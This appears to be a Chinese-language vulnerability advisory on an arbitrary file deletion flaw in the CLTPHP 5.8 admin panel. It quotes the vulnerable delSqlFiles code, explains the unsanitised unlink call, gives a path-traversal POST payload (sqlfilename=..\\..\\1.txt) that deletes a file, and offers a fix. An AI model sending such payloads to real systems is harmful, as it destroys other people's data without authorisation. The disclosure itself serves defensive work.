CLTPHP 5.8 后台任意文件删除漏洞
一、漏洞简介
CLTPHP是基于ThinkPHP5开发,后台采用Layui框架的内容管理系统,
二、漏洞影响
CLTPHP 5.8及之前版本
三、复现过程
漏洞分析
app/admin/controller/Database.php
第221-248行:
public function delSqlFiles() {
$batchFlag = input('param.batchFlag', 0, 'intval');
//批量删除
if ($batchFlag) {
$files = input('key', array());
}else {
$files[] = input('sqlfilename' , '');
}
if (empty($files)) {
\10. $result['msg'] = '请选择要删除的sql文件!';
\11. $result['code'] = 0;
\12. return $result;
\13. }
\14.
\15. foreach ($files as $file) {
\16. $a = unlink($this->datadir.'/' . $file);
\17. }
\18. if($a){
\19. $result['msg'] = '删除成功!';
\20. $result['url'] = url('restore');
\21. $result['code'] = 1;
\22. return $result;
\23. }else{
\24. $result['msg'] = '删除失败!';
\25. $result['code'] = 0;
\26. return $result;
\27. }
\28. }
在这段函数中,参数sqlfilename未经任何处理,直接带入unlink函数中删除,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件。
漏洞复现
构造URL,成功删除根目录的1.txt文件
http://www.0-sec.org/admin/Database/delSqlFiles.html
POST: sqlfilename=..\\..\\1.txt
修复建议
对于要删除的文件,通过正则判断用户输入的参数的格式,看输入的格式是否合法。